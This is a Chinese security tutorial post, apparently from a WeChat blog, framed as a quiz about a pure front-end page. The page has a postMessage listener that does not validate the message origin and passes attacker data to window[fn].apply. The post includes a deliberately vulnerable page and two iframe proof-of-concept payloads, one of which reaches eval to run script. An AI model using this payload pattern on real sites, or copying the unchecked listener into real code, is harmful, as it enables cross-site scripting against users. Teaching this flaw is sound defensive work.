好久没有写一些安全内容的文章了,这里首先给大家出一道题,纯前端页面,代码如下:
<html>
<head>
<meta charset="utf-8">
<title>测试</title>
</head>
<script>
window.onload = function() {
window.addEventListener('message', function (e) {
var dt=e.data;
var cmdp = dt.split("@@@")[0];
var args = dt.split("@@@")[1].split(",");
var cmd=window[cmdp];
cmd.apply(null,args);
});
}
</script>
</body>
</html>
这个里面有啥问题?大家仔细看看,给出10秒时间,倒计时开始:
10
9
8
7
6
5
4
3
2
1
答案:PostMessage跨域漏洞
解析:
首先页面启动的时候
window.addEventListener('message',function (e) {})
窗口监听了消息,并且把消息传递到函数中进行处理,下面看处理函数:
var dt=e.data;
var cmdp = dt.split("@@@")[0];
var args = dt.split("@@@")[1].split(",");
var cmd=window[cmdp];
cmd.apply(null,args);
消息的数据信息用“@@@”进行了分割,第一部分传入到window[]中,第二部分传入到apply中。
先看下window[]是何意思,最简便的方法就是在chrome的console中输入window看看:
window就是当前窗口,里面包含了当前窗口的所有元素。而window['xxxx']如下图,可以看到是调用当前窗口中的所有函数。
这样就比较明白了,用@区分的第一部分是js函数,第二部分呢?
可以看到加上apply就是调用当前函数的方法,我们采用alert,然后测试下
可以看到执行了alert方法,大家关注下apply中的参数值形式,是列表形式的。正好和html中的形式一致,那么现在可以看到这个肯定存在xss问题了。
我们搭建个测试环境看看咋样才能真实利用起来?
这个也就只能弹出个alert,要想让别人利用起来,那么就必须远程加载js,并且可以跨域访问,利用postmessage方法写个发送消息页面如下:
利用代码如下:
<script>
function xss(){
document.getElementById("frame").contentWindow.postMessage("alert@@@document.domain","*");
}
</script>
<iframe id="frame" src="http://test.com:8000/test.html" onload=xss()></iframe>
但是看到上面打出的数据并没有把document.domain输出出来,仅仅是打印的字符,这样其实没办法让其他人产生影响,仅仅是个弹框有啥用?
这个如何解决,继续思考10秒
10 9 8 7 6 5 4 3 2 1
先贴出利用方法:
<script>
function xss(){
document.getElementById("frame").contentWindow.postMessage("eval@@@alert(document.domain)","*");
}
</script>
<iframe id="frame" src="http://test.com:8000/test.html" onload=xss()></iframe>
成功利用了
具体如何加载js大家自己考虑吧,alert函数执行了!
原文始发于微信公众号(YY的黑板报):纯前端页面也存在安全问题?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论